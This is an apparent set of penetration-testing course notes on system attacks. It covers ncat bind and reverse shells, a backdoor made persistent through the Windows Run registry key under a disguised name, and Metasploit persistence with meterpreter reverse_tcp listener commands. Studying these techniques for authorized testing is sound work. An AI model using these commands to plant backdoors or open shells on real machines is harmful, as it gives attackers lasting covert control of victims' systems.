⚙️System Attacks

Notes regarding Sys. Attacks from ePTS course + other recourses.

Classification:

🚪Backdoor

Ncat

ncat [options] [hostname] [port]

install it in the victim machine and run it with these commands:

ncat -l -p 5555 -e cmd.exe

-l listen -e: excute file we choose cmd so we can excute commands.

attacker will

ncat [victim_ip] 5555

can also be executed as a reverse listener especially when the target is on another network:

in the Attacker machine listen:

ncat -l -p 5555 -v

-v: for verbose give us output.

in the target machine:

ncat -e cmd.exe {attacker_ip} 5555

Persistent Backdoor:

in windows Register Editor in `HKEY_LOCALMACHINE\SOFTWARE\Microsoft\CurrentVersion\Run` we add string value for our ncat (or whatever we name it in the target machine) add command to run :

which's the path to ncat (here it's re-named as winconfig) {Attacker_IP} {Port} -e cmd.exe

then restart the victim machine.

as soon as they logged in the attacker who's listening will et a shell.

Metasploit

using the Meterpreter (which's just like ncat above but with steroids).

Meterpreter: is a Metasploit attack payload that provides an interactive shell from which an attacker can explore the target machine and execute code.

Get persistence in target machine:

after hacking one machine you will have already a session that you can browse with sessions command:

use exploit/windows/loca/s4u_persistence

sessions //see all the sessions you have
set session <ID> //pick session to stay persistent

set trigger logon //whenever target login you will have conn

set payload windows/meterpreter/reverse_tcp //whatever payload

//same as the attack you used to gain access from first place and gett ths session
set lhost <your_IP> 
set lport <open_Port>

starter listener:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
exploit

🔐Password Attacks

🔐Password Attacks

💦Buffer Overflow

Shell:

a program that executes commands, check this to see various languages and ways to execute a system commands(getting a shell):

Execute a system command - Rosetta Code

open source webshells (read them before uploading them to a web server):

GitHub - tennc/webshell: This is a webshell open source projectGitHub